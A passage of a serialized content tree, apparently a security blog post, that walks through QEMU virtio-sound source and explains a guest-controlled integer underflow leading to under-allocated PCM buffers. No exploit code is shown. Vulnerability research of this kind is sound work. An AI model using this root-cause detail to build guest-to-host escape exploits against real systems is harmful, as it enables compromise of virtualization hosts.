break",{"type":26,"tag":217,"props":34757,"children":34758},{"style":7048},[34759],{"type":32,"value":7162},{"type":26,"tag":217,"props":34761,"children":34762},{"class":7028,"line":7802},[34763],{"type":26,"tag":217,"props":34764,"children":34765},{"style":7048},[34766],{"type":32,"value":8722},{"type":26,"tag":217,"props":34768,"children":34769},{"class":7028,"line":7811},[34770],{"type":26,"tag":217,"props":34771,"children":34772},{"emptyLinePlaceholder":17},[34773],{"type":32,"value":7817},{"type":26,"tag":217,"props":34775,"children":34776},{"class":7028,"line":7820},[34777],{"type":26,"tag":217,"props":34778,"children":34779},{"style":7048},[34780],{"type":32,"value":15028},{"type":26,"tag":217,"props":34782,"children":34783},{"class":7028,"line":7844},[34784],{"type":26,"tag":217,"props":34785,"children":34786},{"emptyLinePlaceholder":17},[34787],{"type":32,"value":7817},{"type":26,"tag":217,"props":34789,"children":34790},{"class":7028,"line":7910},[34791,34796,34800,34804,34808,34812,34817],{"type":26,"tag":217,"props":34792,"children":34793},{"style":7064},[34794],{"type":32,"value":34795},"        WITH_QEMU_LOCK_GUARD",{"type":26,"tag":217,"props":34797,"children":34798},{"style":7048},[34799],{"type":32,"value":1851},{"type":26,"tag":217,"props":34801,"children":34802},{"style":7149},[34803],{"type":32,"value":9804},{"type":26,"tag":217,"props":34805,"children":34806},{"style":7054},[34807],{"type":32,"value":7978},{"type":26,"tag":217,"props":34809,"children":34810},{"style":7048},[34811],{"type":32,"value":10115},{"type":26,"tag":217,"props":34813,"children":34814},{"style":7054},[34815],{"type":32,"value":34816},"queue_mutex",{"type":26,"tag":217,"props":34818,"children":34819},{"style":7048},[34820],{"type":32,"value":7618},{"type":26,"tag":217,"props":34822,"children":34823},{"class":7028,"line":7954},[34824,34829,34833,34838,34842,34847,34851,34856,34860,34864,34868,34873,34877],{"type":26,"tag":217,"props":34825,"children":34826},{"style":7048},[34827],{"type":32,"value":34828},"            size ",{"type":26,"tag":217,"props":34830,"children":34831},{"style":7149},[34832],{"type":32,"value":267},{"type":26,"tag":217,"props":34834,"children":34835},{"style":7064},[34836],{"type":32,"value":34837}," iov_size",{"type":26,"tag":217,"props":34839,"children":34840},{"style":7048},[34841],{"type":32,"value":1851},{"type":26,"tag":217,"props":34843,"children":34844},{"style":7054},[34845],{"type":32,"value":34846},"elem",{"type":26,"tag":217,"props":34848,"children":34849},{"style":7048},[34850],{"type":32,"value":10115},{"type":26,"tag":217,"props":34852,"children":34853},{"style":7054},[34854],{"type":32,"value":34855},"in_sg",{"type":26,"tag":217,"props":34857,"children":34858},{"style":7048},[34859],{"type":32,"value":7599},{"type":26,"tag":217,"props":34861,"children":34862},{"style":7054},[34863],{"type":32,"value":34846},{"type":26,"tag":217,"props":34865,"children":34866},{"style":7048},[34867],{"type":32,"value":10115},{"type":26,"tag":217,"props":34869,"children":34870},{"style":7054},[34871],{"type":32,"value":34872},"in_num",{"type":26,"tag":217,"props":34874,"children":34875},{"style":7048},[34876],{"type":32,"value":8380},{"type":26,"tag":217,"props":34878,"children":34879},{"style":7149},[34880],{"type":32,"value":34881},"-\n",{"type":26,"tag":217,"props":34883,"children":34884},{"class":7028,"line":7985},[34885,34890,34895],{"type":26,"tag":217,"props":34886,"children":34887},{"style":7154},[34888],{"type":32,"value":34889},"                sizeof",{"type":26,"tag":217,"props":34891,"children":34892},{"style":7048},[34893],{"type":32,"value":34894},"(virtio_snd_pcm_status);",{"type":26,"tag":217,"props":34896,"children":34897},{"style":7033},[34898],{"type":32,"value":34899},"                  // [2]\n",{"type":26,"tag":217,"props":34901,"children":34902},{"class":7028,"line":8027},[34903,34908,34912,34917,34921,34925,34930,34934],{"type":26,"tag":217,"props":34904,"children":34905},{"style":7048},[34906],{"type":32,"value":34907},"            buffer ",{"type":26,"tag":217,"props":34909,"children":34910},{"style":7149},[34911],{"type":32,"value":267},{"type":26,"tag":217,"props":34913,"children":34914},{"style":7064},[34915],{"type":32,"value":34916}," g_malloc0",{"type":26,"tag":217,"props":34918,"children":34919},{"style":7048},[34920],{"type":32,"value":1851},{"type":26,"tag":217,"props":34922,"children":34923},{"style":7154},[34924],{"type":32,"value":34717},{"type":26,"tag":217,"props":34926,"children":34927},{"style":7048},[34928],{"type":32,"value":34929},"(VirtIOSoundPCMBuffer) ",{"type":26,"tag":217,"props":34931,"children":34932},{"style":7149},[34933],{"type":32,"value":3540},{"type":26,"tag":217,"props":34935,"children":34936},{"style":7048},[34937],{"type":32,"value":34938}," size);\n",{"type":26,"tag":217,"props":34940,"children":34941},{"class":7028,"line":8035},[34942,34947,34951,34955,34959],{"type":26,"tag":217,"props":34943,"children":34944},{"style":7054},[34945],{"type":32,"value":34946},"            buffer",{"type":26,"tag":217,"props":34948,"children":34949},{"style":7048},[34950],{"type":32,"value":10115},{"type":26,"tag":217,"props":34952,"children":34953},{"style":7054},[34954],{"type":32,"value":34846},{"type":26,"tag":217,"props":34956,"children":34957},{"style":7149},[34958],{"type":32,"value":8993},{"type":26,"tag":217,"props":34960,"children":34961},{"style":7048},[34962],{"type":32,"value":34963}," elem;\n",{"type":26,"tag":217,"props":34965,"children":34966},{"class":7028,"line":8067},[34967,34971,34975,34979,34983],{"type":26,"tag":217,"props":34968,"children":34969},{"style":7054},[34970],{"type":32,"value":34946},{"type":26,"tag":217,"props":34972,"children":34973},{"style":7048},[34974],{"type":32,"value":10115},{"type":26,"tag":217,"props":34976,"children":34977},{"style":7054},[34978],{"type":32,"value":34611},{"type":26,"tag":217,"props":34980,"children":34981},{"style":7149},[34982],{"type":32,"value":8993},{"type":26,"tag":217,"props":34984,"children":34985},{"style":7048},[34986],{"type":32,"value":34987}," vq;\n",{"type":26,"tag":217,"props":34989,"children":34990},{"class":7028,"line":8107},[34991,34995,34999,35003,35007,35011],{"type":26,"tag":217,"props":34992,"children":34993},{"style":7054},[34994],{"type":32,"value":34946},{"type":26,"tag":217,"props":34996,"children":34997},{"style":7048},[34998],{"type":32,"value":10115},{"type":26,"tag":217,"props":35000,"children":35001},{"style":7054},[35002],{"type":32,"value":12431},{"type":26,"tag":217,"props":35004,"children":35005},{"style":7149},[35006],{"type":32,"value":8993},{"type":26,"tag":217,"props":35008,"children":35009},{"style":7130},[35010],{"type":32,"value":9922},{"type":26,"tag":217,"props":35012,"children":35013},{"style":7048},[35014],{"type":32,"value":7162},{"type":26,"tag":217,"props":35016,"children":35017},{"class":7028,"line":8145},[35018,35022,35026,35031,35035,35039],{"type":26,"tag":217,"props":35019,"children":35020},{"style":7054},[35021],{"type":32,"value":34946},{"type":26,"tag":217,"props":35023,"children":35024},{"style":7048},[35025],{"type":32,"value":10115},{"type":26,"tag":217,"props":35027,"children":35028},{"style":7054},[35029],{"type":32,"value":35030},"offset",{"type":26,"tag":217,"props":35032,"children":35033},{"style":7149},[35034],{"type":32,"value":8993},{"type":26,"tag":217,"props":35036,"children":35037},{"style":7130},[35038],{"type":32,"value":9922},{"type":26,"tag":217,"props":35040,"children":35041},{"style":7048},[35042],{"type":32,"value":7162},{"type":26,"tag":217,"props":35044,"children":35045},{"class":7028,"line":8154},[35046,35051,35055,35059,35063,35067,35072,35077],{"type":26,"tag":217,"props":35047,"children":35048},{"style":7064},[35049],{"type":32,"value":35050},"            QSIMPLEQ_INSERT_TAIL",{"type":26,"tag":217,"props":35052,"children":35053},{"style":7048},[35054],{"type":32,"value":1851},{"type":26,"tag":217,"props":35056,"children":35057},{"style":7149},[35058],{"type":32,"value":9804},{"type":26,"tag":217,"props":35060,"children":35061},{"style":7054},[35062],{"type":32,"value":7978},{"type":26,"tag":217,"props":35064,"children":35065},{"style":7048},[35066],{"type":32,"value":10115},{"type":26,"tag":217,"props":35068,"children":35069},{"style":7054},[35070],{"type":32,"value":35071},"queue",{"type":26,"tag":217,"props":35073,"children":35074},{"style":7048},[35075],{"type":32,"value":35076},", buffer, entry);",{"type":26,"tag":217,"props":35078,"children":35079},{"style":7033},[35080],{"type":32,"value":35081}," // [3]\n",{"type":26,"tag":217,"props":35083,"children":35084},{"class":7028,"line":8162},[35085],{"type":26,"tag":217,"props":35086,"children":35087},{"style":7048},[35088],{"type":32,"value":8722},{"type":26,"tag":217,"props":35090,"children":35091},{"class":7028,"line":8197},[35092,35097],{"type":26,"tag":217,"props":35093,"children":35094},{"style":7042},[35095],{"type":32,"value":35096},"        continue",{"type":26,"tag":217,"props":35098,"children":35099},{"style":7048},[35100],{"type":32,"value":7162},{"type":26,"tag":217,"props":35102,"children":35103},{"class":7028,"line":8220},[35104],{"type":26,"tag":217,"props":35105,"children":35106},{"emptyLinePlaceholder":17},[35107],{"type":32,"value":7817},{"type":26,"tag":217,"props":35109,"children":35110},{"class":7028,"line":8228},[35111],{"type":26,"tag":217,"props":35112,"children":35113},{"style":7048},[35114],{"type":32,"value":15028},{"type":26,"tag":217,"props":35116,"children":35117},{"class":7028,"line":8292},[35118],{"type":26,"tag":217,"props":35119,"children":35120},{"style":7048},[35121],{"type":32,"value":7184},{"type":26,"tag":39,"props":35123,"children":35124},{},[35125,35127,35133,35134,35140,35142,35147,35148,35154],{"type":32,"value":35126},"At ",{"type":26,"tag":83,"props":35128,"children":35130},{"className":35129},[],[35131],{"type":32,"value":35132},"[1]",{"type":32,"value":23778},{"type":26,"tag":83,"props":35135,"children":35137},{"className":35136},[],[35138],{"type":32,"value":35139},"VirtQueueElement *elem",{"type":32,"value":35141}," is popped from the virtqueue. It contains the ",{"type":26,"tag":83,"props":35143,"children":35145},{"className":35144},[],[35146],{"type":32,"value":34855},{"type":32,"value":1308},{"type":26,"tag":83,"props":35149,"children":35151},{"className":35150},[],[35152],{"type":32,"value":35153},"out_sg",{"type":32,"value":35155}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":26,"tag":39,"props":35157,"children":35158},{},[35159,35161,35167,35169,35175,35177,35183,35185,35191,35193,35199],{"type":32,"value":35160},"Further at ",{"type":26,"tag":83,"props":35162,"children":35164},{"className":35163},[],[35165],{"type":32,"value":35166},"[2]",{"type":32,"value":35168},", the device computes the size of the data buffer as ",{"type":26,"tag":83,"props":35170,"children":35172},{"className":35171},[],[35173],{"type":32,"value":35174},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":32,"value":35176},". That value is then used in the allocation: ",{"type":26,"tag":83,"props":35178,"children":35180},{"className":35179},[],[35181],{"type":32,"value":35182},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":32,"value":35184},". Finally, at ",{"type":26,"tag":83,"props":35186,"children":35188},{"className":35187},[],[35189],{"type":32,"value":35190},"[3]",{"type":32,"value":35192},", the newly allocated buffer is appended to the ",{"type":26,"tag":83,"props":35194,"children":35196},{"className":35195},[],[35197],{"type":32,"value":35198},"stream->queue",{"type":32,"value":35200}," linked list.",{"type":26,"tag":39,"props":35202,"children":35203},{},[35204,35206,35211,35213,35218,35220,35225,35227,35233],{"type":32,"value":35205},"Because both the ",{"type":26,"tag":83,"props":35207,"children":35209},{"className":35208},[],[35210],{"type":32,"value":34855},{"type":32,"value":35212}," iovec and the ",{"type":26,"tag":83,"props":35214,"children":35216},{"className":35215},[],[35217],{"type":32,"value":34872},{"type":32,"value":35219}," field are guest-controlled, and there is no check that the total ",{"type":26,"tag":83,"props":35221,"children":35223},{"className":35222},[],[35224],{"type":32,"value":34855},{"type":32,"value":35226}," size is at least ",{"type":26,"tag":83,"props":35228,"children":35230},{"className":35229},[],[35231],{"type":32,"value":35232},"sizeof(virtio_snd_pcm_status)",{"type":32,"value":35234},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":26,"tag":39,"props":35236,"children":35237},{},[35238,35240,35245,35247,35253,35255,35261,35263,35269],{"type":32,"value":35239},"From the guest driver, we can provide an empty ",{"type":26,"tag":83,"props":35241,"children":35243},{"className":35242},[],[35244],{"type":32,"value":34855},{"type":32,"value":35246}," iovec. In that case, the calculation becomes ",{"type":26,"tag":83,"props":35248,"children":35250},{"className":35249},[],[35251],{"type":32,"value":35252},"0 - sizeof(virtio_snd_pcm_status)",{"type":32,"value":35254},", so the allocation size effectively becomes ",{"type":26,"tag":83,"props":35256,"children":35258},{"className":35257},[],[35259],{"type":32,"value":35260},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":32,"value":35262},". Given the definition of ",{"type":26,"tag":83,"props":35264,"children":35266},{"className":35265},[],[35267],{"type":32,"value":35268},"VirtIOSoundPCMBuffer",{"type":32,"value":1473},{"type":26,"tag":207,"props":35271,"children":35273},{"code":35272,"language":2255,"meta":8,"className":9574,"style":8},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[35274],{"type":26,"tag":83,"props":35275,"children":35276},{"__ignoreMap":8},[35277,35289,35302,35317,35334,35345,35358,35366,35379,35401],{"type":26,"tag":217,"props":35278,"children":35279},{"class":7028,"line":7029},[35280,35284],{"type":26,"tag":217,"props":35281,"children":35282},{"style":7154},[35283],{"type":32,"value":12224},{"type":26,"tag":217,"props":35285,"children":35286},{"style":7048},[35287],{"type":32,"value":35288}," VirtIOSoundPCMBuffer {\n",{"type":26,"tag":217,"props":35290,"children":35291},{"class":7028,"line":6770},[35292,35297],{"type":26,"tag":217,"props":35293,"children":35294},{"style":7064},[35295],{"type":32,"value":35296},"    QSIMPLEQ_ENTRY",{"type":26,"tag":217,"props":35298,"children":35299},{"style":7048},[35300],{"type":32,"value":35301},"(VirtIOSoundPCMBuffer) entry;\n",{"type":26,"tag":217,"props":35303,"children":35304},{"class":7028,"line":6779},[35305,35309,35313],{"type":26,"tag":217,"props":35306,"children":35307},{"style":7048},[35308],{"type":32,"value":34630},{"type":26,"tag":217,"props":35310,"children":35311},{"style":7149},[35312],{"type":32,"value":10006},{"type":26,"tag":217,"props":35314,"children":35315},{"style":7048},[35316],{"type":32,"value":34639},{"type":26,"tag":217,"props":35318,"children":35319},{"class":7028,"line":7140},[35320,35325,35329],{"type":26,"tag":217,"props":35321,"children":35322},{"style":7048},[35323],{"type":32,"value":35324},"    VirtQueue ",{"type":26,"tag":217,"props":35326,"children":35327},{"style":7149},[35328],{"type":32,"value":10006},{"type":26,"tag":217,"props":35330,"children":35331},{"style":7048},[35332],{"type":32,"value":35333},"vq;\n",{"type":26,"tag":217,"props":35335,"children":35336},{"class":7028,"line":7165},[35337,35341],{"type":26,"tag":217,"props":35338,"children":35339},{"style":7154},[35340],{"type":32,"value":12306},{"type":26,"tag":217,"props":35342,"children":35343},{"style":7048},[35344],{"type":32,"value":12311},{"type":26,"tag":217,"props":35346,"children":35347},{"class":7028,"line":7178},[35348,35353],{"type":26,"tag":217,"props":35349,"children":35350},{"style":7154},[35351],{"type":32,"value":35352},"    uint64_t",{"type":26,"tag":217,"props":35354,"children":35355},{"style":7048},[35356],{"type":32,"value":35357}," offset;\n",{"type":26,"tag":217,"props":35359,"children":35360},{"class":7028,"line":7389},[35361],{"type":26,"tag":217,"props":35362,"children":35363},{"style":7033},[35364],{"type":32,"value":35365},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":26,"tag":217,"props":35367,"children":35368},{"class":7028,"line":7406},[35369,35374],{"type":26,"tag":217,"props":35370,"children":35371},{"style":7154},[35372],{"type":32,"value":35373},"    bool",{"type":26,"tag":217,"props":35375,"children":35376},{"style":7048},[35377],{"type":32,"value":35378}," populated;\n",{"type":26,"tag":217,"props":35380,"children":35381},{"class":7028,"line":7439},[35382,35387,35392,35397],{"type":26,"tag":217,"props":35383,"children":35384},{"style":7154},[35385],{"type":32,"value":35386},"    uint8_t",{"type":26,"tag":217,"props":35388,"children":35389},{"style":7048},[35390],{"type":32,"value":35391}," data",{"type":26,"tag":217,"props":35393,"children":35394},{"style":7154},[35395],{"type":32,"value":35396},"[]",{"type":26,"tag":217,"props":35398,"children":35399},{"style":7048},[35400],{"type":32,"value":7162},{"type":26,"tag":217,"props":35402,"children":35403},{"class":7028,"line":7487},[35404],{"type":26,"tag":217,"props":35405,"children":35406},{"style":7048},[35407],{"type":32,"value":12331},{"type":26,"tag":39,"props":35409,"children":35410},{},[35411,35413,35419,35421,35426,35428,35433,35435,35440,35442,35447,35449,35455],{"type":32,"value":35412},"That under-allocation removes the ",{"type":26,"tag":83,"props":35414,"children":35416},{"className":35415},[],[35417],{"type":32,"value":35418},"populated",{"type":32,"value":35420}," field along with the variable-sized ",{"type":26,"tag":83,"props":35422,"children":35424},{"className":35423},[],[35425],{"type":32,"value":33715},{"type":32,"value":35427}," array. As the comment says, ",{"type":26,"tag":83,"props":35429,"children":35431},{"className":35430},[],[35432],{"type":32,"value":35418},{"type":32,"value":35434}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":26,"tag":83,"props":35436,"children":35438},{"className":35437},[],[35439],{"type":32,"value":185},{"type":32,"value":35441},", the device believes data should be ",{"type":26,"tag":83,"props":35443,"children":35445},{"className":35444},[],[35446],{"type":32,"value":185},{"type":32,"value":35448}," byte, while the actual allocation is ",{"type":26,"tag":83,"props":35450,"children":35452},{"className":35451},[],[35453],{"type":32,"value":35454},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":32,"value":180},{"type":26,"tag":631,"props":35457,"children":35459},{"id":35458},"populating-data-buffers",[35460],{"type":32,"value":35461},"Populating Data Buffers",{"type":26,"tag":39,"props":35463,"children":35464},{},[35465],{"type":32,"value":35466},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":26,"tag":207,"props":35468,"children":35470},{"code":35469,"language":2255,"meta":8,"className":9574,"style":8},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[35471],{"type":26,"tag":83,"props":35472,"children":35473},{"__ignoreMap":8},[35474,35481,35489,35496,35504,35512,35519,35569,35576,35602,35619,35631,35638,35670,35715,35755,35762,35770,35777,35802,35830,35854,35861,35873,35911,35924,35936,35943,35990,36026,36070,36091,36111,36131,36142,36149,36173,36190,36198,36206,36213,36220],{"type":26,"tag":217,"props":35475,"children":35476},{"class":7028,"line":7029},[35477],{"type":26,"tag":217,"props":35478,"children":35479},{"style":7033},[35480],{"type":32,"value":34519},{"type":26,"tag":217,"props":35482,"children":35483},{"class":7028,"line":6770},[35484],{"type":26,"tag":217,"props":35485,"children":35486},{"style":7033},[35487],{"type":32,"value":35488}," * AUD_* input callback.\n",{"type":26,"tag":217,"props":35490,"children":35491},{"class":7028,"line":6779},[35492],{"type":26,"tag":217,"props":35493,"children":35494},{"style":7033},[35495],{"type":32,"value":34543},{"type":26,"tag":217,"props":35497,"children":35498},{"class":7028,"line":7140},[35499],{"type":26,"tag":217,"props":35500,"children":35501},{"style":7033},[35502],{"type":32,"value":35503}," * @data: VirtIOSoundPCMStream stream\n",{"type":26,"tag":217,"props":35505,"children":35506},{"class":7028,"line":7165},[35507],{"type":26,"tag":217,"props":35508,"children":35509},{"style":7033},[35510],{"type":32,"value":35511}," * @available: number of bytes that can be read with AUD_read()\n",{"type":26,"tag":217,"props":35513,"children":35514},{"class":7028,"line":7178},[35515],{"type":26,"tag":217,"props":35516,"children":35517},{"style":7033},[35518],{"type":32,"value":34567},{"type":26,"tag":217,"props":35520,"children":35521},{"class":7028,"line":7389},[35522,35526,35530,35535,35539,35544,35548,35552,35556,35560,35565],{"type":26,"tag":217,"props":35523,"children":35524},{"style":7154},[35525],{"type":32,"value":9987},{"type":26,"tag":217,"props":35527,"children":35528},{"style":7154},[35529],{"type":32,"value":8936},{"type":26,"tag":217,"props":35531,"children":35532},{"style":7064},[35533],{"type":32,"value":35534}," virtio_snd_pcm_in_cb",{"type":26,"tag":217,"props":35536,"children":35537},{"style":7048},[35538],{"type":32,"value":1851},{"type":26,"tag":217,"props":35540,"children":35541},{"style":7154},[35542],{"type":32,"value":35543},"void",{"type":26,"tag":217,"props":35545,"children":35546},{"style":7149},[35547],{"type":32,"value":9690},{"type":26,"tag":217,"props":35549,"children":35550},{"style":7054},[35551],{"type":32,"value":33715},{"type":26,"tag":217,"props":35553,"children":35554},{"style":7048},[35555],{"type":32,"value":7599},{"type":26,"tag":217,"props":35557,"children":35558},{"style":7154},[35559],{"type":32,"value":9619},{"type":26,"tag":217,"props":35561,"children":35562},{"style":7054},[35563],{"type":32,"value":35564}," available",{"type":26,"tag":217,"props":35566,"children":35567},{"style":7048},[35568],{"type":32,"value":10025},{"type":26,"tag":217,"props":35570,"children":35571},{"class":7028,"line":7406},[35572],{"type":26,"tag":217,"props":35573,"children":35574},{"style":7048},[35575],{"type":32,"value":10033},{"type":26,"tag":217,"props":35577,"children":35578},{"class":7028,"line":7439},[35579,35584,35588,35593,35597],{"type":26,"tag":217,"props":35580,"children":35581},{"style":7048},[35582],{"type":32,"value":35583},"    VirtIOSoundPCMStream ",{"type":26,"tag":217,"props":35585,"children":35586},{"style":7149},[35587],{"type":32,"value":10006},{"type":26,"tag":217,"props":35589,"children":35590},{"style":7048},[35591],{"type":32,"value":35592},"stream ",{"type":26,"tag":217,"props":35594,"children":35595},{"style":7149},[35596],{"type":32,"value":267},{"type":26,"tag":217,"props":35598,"children":35599},{"style":7048},[35600],{"type":32,"value":35601}," data;\n",{"type":26,"tag":217,"props":35603,"children":35604},{"class":7028,"line":7487},[35605,35610,35614],{"type":26,"tag":217,"props":35606,"children":35607},{"style":7048},[35608],{"type":32,"value":35609},"    VirtIOSoundPCMBuffer ",{"type":26,"tag":217,"props":35611,"children":35612},{"style":7149},[35613],{"type":32,"value":10006},{"type":26,"tag":217,"props":35615,"children":35616},{"style":7048},[35617],{"type":32,"value":35618},"buffer;\n",{"type":26,"tag":217,"props":35620,"children":35621},{"class":7028,"line":7524},[35622,35626],{"type":26,"tag":217,"props":35623,"children":35624},{"style":7154},[35625],{"type":32,"value":12306},{"type":26,"tag":217,"props":35627,"children":35628},{"style":7048},[35629],{"type":32,"value":35630}," size, max_size;\n",{"type":26,"tag":217,"props":35632,"children":35633},{"class":7028,"line":7553},[35634],{"type":26,"tag":217,"props":35635,"children":35636},{"emptyLinePlaceholder":17},[35637],{"type":32,"value":7817},{"type":26,"tag":217,"props":35639,"children":35640},{"class":7028,"line":7570},[35641,35646,35650,35654,35658,35662,35666],{"type":26,"tag":217,"props":35642,"children":35643},{"style":7064},[35644],{"type":32,"value":35645},"    WITH_QEMU_LOCK_GUARD",{"type":26,"tag":217,"props":35647,"children":35648},{"style":7048},[35649],{"type":32,"value":1851},{"type":26,"tag":217,"props":35651,"children":35652},{"style":7149},[35653],{"type":32,"value":9804},{"type":26,"tag":217,"props":35655,"children":35656},{"style":7054},[35657],{"type":32,"value":7978},{"type":26,"tag":217,"props":35659,"children":35660},{"style":7048},[35661],{"type":32,"value":10115},{"type":26,"tag":217,"props":35663,"children":35664},{"style":7054},[35665],{"type":32,"value":34816},{"type":26,"tag":217,"props":35667,"children":35668},{"style":7048},[35669],{"type":32,"value":7618},{"type":26,"tag":217,"props":35671,"children":35672},{"class":7028,"line":7621},[35673,35678,35682,35686,35691,35695,35699,35703,35707,35711],{"type":26,"tag":217,"props":35674,"children":35675},{"style":7042},[35676],{"type":32,"value":35677},"        while",{"type":26,"tag":217,"props":35679,"children":35680},{"style":7048},[35681],{"type":32,"value":7051},{"type":26,"tag":217,"props":35683,"children":35684},{"style":7149},[35685],{"type":32,"value":11704},{"type":26,"tag":217,"props":35687,"children":35688},{"style":7064},[35689],{"type":32,"value":35690},"QSIMPLEQ_EMPTY",{"type":26,"tag":217,"props":35692,"children":35693},{"style":7048},[35694],{"type":32,"value":1851},{"type":26,"tag":217,"props":35696,"children":35697},{"style":7149},[35698],{"type":32,"value":9804},{"type":26,"tag":217,"props":35700,"children":35701},{"style":7054},[35702],{"type":32,"value":7978},{"type":26,"tag":217,"props":35704,"children":35705},{"style":7048},[35706],{"type":32,"value":10115},{"type":26,"tag":217,"props":35708,"children":35709},{"style":7054},[35710],{"type":32,"value":35071},{"type":26,"tag":217,"props":35712,"children":35713},{"style":7048},[35714],{"type":32,"value":33209},{"type":26,"tag":217,"props":35716,"children":35717},{"class":7028,"line":7672},[35718,35722,35726,35731,35735,35739,35743,35747,35751],{"type":26,"tag":217,"props":35719,"children":35720},{"style":7048},[35721],{"type":32,"value":34907},{"type":26,"tag":217,"props":35723,"children":35724},{"style":7149},[35725],{"type":32,"value":267},{"type":26,"tag":217,"props":35727,"children":35728},{"style":7064},[35729],{"type":32,"value":35730}," QSIMPLEQ_FIRST",{"type":26,"tag":217,"props":35732,"children":35733},{"style":7048},[35734],{"type":32,"value":1851},{"type":26,"tag":217,"props":35736,"children":35737},{"style":7149},[35738],{"type":32,"value":9804},{"type":26,"tag":217,"props":35740,"children":35741},{"style":7054},[35742],{"type":32,"value":7978},{"type":26,"tag":217,"props":35744,"children":35745},{"style":7048},[35746],{"type":32,"value":10115},{"type":26,"tag":217,"props":35748,"children":35749},{"style":7054},[35750],{"type":32,"value":35071},{"type":26,"tag":217,"props":35752,"children":35753},{"style":7048},[35754],{"type":32,"value":7669},{"type":26,"tag":217,"props":35756,"children":35757},{"class":7028,"line":7681},[35758],{"type":26,"tag":217,"props":35759,"children":35760},{"emptyLinePlaceholder":17},[35761],{"type":32,"value":7817},{"type":26,"tag":217,"props":35763,"children":35764},{"class":7028,"line":7754},[35765],{"type":26,"tag":217,"props":35766,"children":35767},{"style":7048},[35768],{"type":32,"value":35769},"            [...]\n",{"type":26,"tag":217,"props":35771,"children":35772},{"class":7028,"line":7784},[35773],{"type":26,"tag":217,"props":35774,"children":35775},{"emptyLinePlaceholder":17},[35776],{"type":32,"value":7817},{"type":26,"tag":217,"props":35778,"children":35779},{"class":7028,"line":7802},[35780,35785,35789,35793,35797],{"type":26,"tag":217,"props":35781,"children":35782},{"style":7048},[35783],{"type":32,"value":35784},"            max_size ",{"type":26,"tag":217,"props":35786,"children":35787},{"style":7149},[35788],{"type":32,"value":267},{"type":26,"tag":217,"props":35790,"children":35791},{"style":7064},[35792],{"type":32,"value":34837},{"type":26,"tag":217,"props":35794,"children":35795},{"style":7048},[35796],{"type":32,"value":1851},{"type":26,"tag":217,"props":35798,"children":35799},{"style":7033},[35800],{"type":32,"value":35801},"                    // [1]\n",{"type":26,"tag":217,"props":35803,"children":35804},{"class":7028,"line":7811},[35805,35810,35814,35818,35822,35826],{"type":26,"tag":217,"props":35806,"children":35807},{"style":7054},[35808],{"type":32,"value":35809},"                buffer",{"type":26,"tag":217,"props":35811,"children":35812},{"style":7048},[35813],{"type":32,"value":10115},{"type":26,"tag":217,"props":35815,"children":35816},{"style":7054},[35817],{"type":32,"value":34846},{"type":26,"tag":217,"props":35819,"children":35820},{"style":7048},[35821],{"type":32,"value":10115},{"type":26,"tag":217,"props":35823,"children":35824},{"style":7054},[35825],{"type":32,"value":34855},{"type":26,"tag":217,"props":35827,"children":35828},{"style":7048},[35829],{"type":32,"value":10953},{"type":26,"tag":217,"props":35831,"children":35832},{"class":7028,"line":7820},[35833,35837,35841,35845,35849],{"type":26,"tag":217,"props":35834,"children":35835},{"style":7054},[35836],{"type":32,"value":35809},{"type":26,"tag":217,"props":35838,"children":35839},{"style":7048},[35840],{"type":32,"value":10115},{"type":26,"tag":217,"props":35842,"children":35843},{"style":7054},[35844],{"type":32,"value":34846},{"type":26,"tag":217,"props":35846,"children":35847},{"style":7048},[35848],{"type":32,"value":10115},{"type":26,"tag":217,"props":35850,"children":35851},{"style":7054},[35852],{"type":32,"value":35853},"in_num\n",{"type":26,"tag":217,"props":35855,"children":35856},{"class":7028,"line":7844},[35857],{"type":26,"tag":217,"props":35858,"children":35859},{"style":7048},[35860],{"type":32,"value":13857},{"type":26,"tag":217,"props":35862,"children":35863},{"class":7028,"line":7910},[35864,35869],{"type":26,"tag":217,"props":35865,"children":35866},{"style":7042},[35867],{"type":32,"value":35868},"            for",{"type":26,"tag":217,"props":35870,"children":35871},{"style":7048},[35872],{"type":32,"value":34666},{"type":26,"tag":217,"props":35874,"children":35875},{"class":7028,"line":7954},[35876,35881,35885,35889,35893,35897,35901,35906],{"type":26,"tag":217,"props":35877,"children":35878},{"style":7042},[35879],{"type":32,"value":35880},"                